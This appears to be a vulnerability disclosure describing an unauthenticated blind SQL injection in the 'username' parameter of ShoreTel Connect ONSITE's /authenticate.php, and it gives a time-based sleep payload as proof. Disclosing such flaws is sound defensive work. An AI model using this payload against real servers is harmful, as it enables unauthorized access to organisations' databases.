1. Description
Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0
are vulnerable to a Blind SQL Injection in /authenticate.php, on the webserver
that is running the Conference system.
Specifically, the POST parameter "username" is not sanitised prior to being used
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20
for the username value the server will respond after approximately 35 seconds.
No authentication is needed in order to exploit the vulnerability as the issue
resides in the pre-authentication realm of the system.
